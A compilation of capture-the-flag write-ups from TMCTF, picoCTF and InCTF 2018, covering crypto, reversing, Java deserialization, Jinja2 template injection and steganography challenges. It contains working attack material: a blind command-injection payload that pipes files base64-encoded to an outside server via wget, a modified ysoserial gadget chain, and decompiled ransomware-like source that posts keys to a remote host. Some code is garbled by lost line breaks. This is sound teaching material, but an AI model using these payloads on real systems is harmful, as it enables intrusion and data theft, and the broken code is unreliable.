Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```
With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
Problem Statement(250 points):
Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell server.
Solutions:
The message given was "4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA".I saw a pattern that if ascii value of given charater is greater than 65 we have to substract 34 to get capital letters and for less than 65 we have to add 60 to get small letters.So i wrote a small piece of code in python3 which you can see below (can also see here) :
x="4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA" s='' for i in x: if(ord(i)<=65): s+=chr(ord(i)+60) else: s+=chr(ord(i)-34) print(s)
So the decoded text was :
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
|
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|
### The vulnerability
I love the [Flask framework](http://flask.pocoo.org/), so I instantly knew whatthis was going to be about when I saw the application's name. By chance, I also had justcompleted a [pentesterlab]( https://pentesterlab.com/referral/Ro7ncKsrj9U5Hg)exercise that teaches the vulnerability showcased here, so I had the idea totry and exploit it immediately.
The vulnerability in question in an SSTI (Server Side Template Injection) inthe [jinja2](http://jinja.pocoo.org/) template engine (used by default byFlask)
After creating an account, we can check for this vulnerability by settingfields (here the flash card's question and answer) to `{{1+1}}` : if theapp is vulnerable, the expression between the double curly braces will beinterpreted by the template engine and the value `2` will be displayed.
### The exploit
The template has access to a namespace : the[context](http://jinja.pocoo.org/docs/2.10/api/#the-context). One of thevariables that Flask pushes to that context is the[aplication config](http://exploreflask.com/en/latest/configuration.html). Atthe very least, that will contain the `SECRET_KEY` used to sign cookie and someextensions. You can also expect other goodies like the database credentials.
So let's try retrieving the config by creating a question with an answer valueof `{{ config.items() }}`
_We use the `items()` method because `config` is a python dictionary : thatmethod will return a pair `(key, value)` for each key in the dictionary._
We get the following content in our rendered answer :
```dict_items([ ('SQLALCHEMY_RECORD_QUERIES', None), ('JSONIFY_MIMETYPE', 'application/json'), ('SQLALCHEMY_ECHO', False), ('SESSION_COOKIE_NAME', 'session'), ('SERVER_NAME', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('BOOTSTRAP_CDN_FORCE_SSL', False), ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}'), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('APPLICATION_ROOT', '/'), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SESSION_COOKIE_SECURE', False), ('BOOTSTRAP_QUERYSTRING_REVVING', True), ('JSON_AS_ASCII', True), ('SESSION_COOKIE_DOMAIN', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SQLALCHEMY_NATIVE_UNICODE', None), ('PROPAGATE_EXCEPTIONS', None), ('SESSION_COOKIE_SAMESITE', None), ('USE_X_SENDFILE', False), ('SQLALCHEMY_POOL_SIZE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('TRAP_BAD_REQUEST_ERRORS', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_POOL_RECYCLE', None), ('BOOTSTRAP_SERVE_LOCAL', False), ('TEMPLATES_AUTO_RELOAD', None), ('DEBUG', False), ('MAX_COOKIE_SIZE', 4093), ('SESSION_COOKIE_PATH', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SESSION_COOKIE_HTTPONLY', True), ('MAX_CONTENT_LENGTH', None), ('BOOTSTRAP_USE_MINIFIED', True), ('SQLALCHEMY_MAX_OVERFLOW', None), ('JSON_SORT_KEYS', True), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None), ('TESTING', False), ('SQLALCHEMY_BINDS', None), ('ENV', 'production'), ('PREFERRED_URL_SCHEME', 'http')]) ```
The flag is the `SECRET_KEY` value : `picoCTF{secret_keys_to_the_kingdom_584f8327}` |
patch the program to jump the calls to set_timer and get_key, calculate the xor of the flag stored in the program with "picoCTF{", run in gdb and before the call to decrypt_flag set $rdi to the calculated value. see original write up for details |
run in gdb and break before the call to alarm(3), change the register value to a higher value to call something like alarm(9999), then continue to have the program print the flag. |
# ▼▼▼fancy-alive-monitoring - Points: 400▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Uh oh, the login page is more secure... I think. http://2018shell2.picoctf.com:56265 (link). Source(http://2018shell2.picoctf.com:17593/index.txt).
Hint:・This application uses the validation check both on the client side and on the server side, but the server check seems to be inappropriate.・You should be able to listen through the shell on the server.```
---## 【view source code & Identify the vulnerability】
`http://2018shell2.picoctf.com:17593/index.txt`
↓
```<html><head> <title>Monitoring Tool</title> <script> function check(){ ip = document.getElementById("ip").value; chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/); if (!chk) { alert("Wrong IP format."); return false; } else { document.getElementById("monitor").submit(); } } </script></head><body> <h1>Monitoring Tool ver 0.1</h1> <form id="monitor" action="index.php" method="post" onsubmit="return false;"> Input IP address of the target host <input id="ip" name="ip" type="text"> <input type="button" value="Go!" onclick="check()"> </form> <hr>
Input IP address of the target host <input id="ip" name="ip" type="text">
Target is NOT alive.</h3>"); break; } else if (strpos($str, ', 0% packet loss') !== false){ printf("<h3>Target is alive.</h3>"); break; } } } else { echo "Wrong IP Format."; }}?><hr>index.php source code</body></html>```
↓
`preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)`
↓
It is only necessary to have an IP address as a forward match.
`Blind OS command injection` vulnerability exists
---
## 【exploit】
```POST /index.php HTTP/1.1Host: 2018shell2.picoctf.com:17593Content-Type: application/x-www-form-urlencodedContent-Length: 66
ip=127.0.0.1;ls|base64|xargs wget http://my_server --user-agent```
↓ access.log of my server
```18.224.157.204 - - [15/Oct/2018:15:21:34 +0000] "GET / HTTP/1.1" 200 2261 "-" "aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTEzMzUtZmxhZy50eHQKeGluZXRfc3RhcnR1"```
↓
`aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTEzMzUtZmxhZy50eHQKeGluZXRfc3RhcnR1`
↓
```index.phpindex.txtthe-secret-1335-flag.txtxinet_startu```
---
```POST /index.php HTTP/1.1Host: 2018shell2.picoctf.com:17593Content-Type: application/x-www-form-urlencodedContent-Length: 92
ip=127.0.0.1;cat the-secret-1335-flag.txt|base64|xargs wget http://my_server --user-agent```
↓
```18.224.157.204 - - [15/Oct/2018:15:24:13 +0000] "GET / HTTP/1.1" 200 2261 "-" "SGVyZSBpcyB5b3VyIGZsYWc6IHBpY29DVEZ7bjN2M3JfdHJ1c3RfYV9iMHhfZDdhZDE2MmR9Cgo="```
↓ base64 decode
Here is your flag: `picoCTF{n3v3r_trust_a_b0x_d7ad162d}` |
### InCTF 2018
##### Challenge: Mag1cal Radio
##### Category: Stegano
##### Points: 1000
##### Solves: 1/306
##### Description: A number station in Russia broadcasted a series of encoded messages to one of it's intelligence agency. We have been able to get a piece of that message along with a picture hidden by one of the spy. Decode the transmitted data and be a hero!!Link : https://goo.gl/JQTKXA
In this challenge we had a PNG file of 40,8MB (“index.png”) and an audio file (“new.mp3”).
Opening the mp3 file with audacity we realize that it was a message transmitted in Morse.
After decode it, we got the following message:
```FLAGISNOTH3R3```
So we had to find the flag in other place...
After playing a bit with both files, we detected the numbers “1517” in the LSB colors of the image “index.png”:
Here we were stuck a long time, trying different things with no success, until that, thanks to the name of the challenge, we found a stego tool called “StegoMagic” (https://tech2copycat.wordpress.com/2012/02/06/how-to-hide-data-in-image-audio-video-files-steganography/#more-30).
After using “StegoMagic_BIN.exe” over the mp3 file with the password “1517” we extracted a PNG file with a QR code:
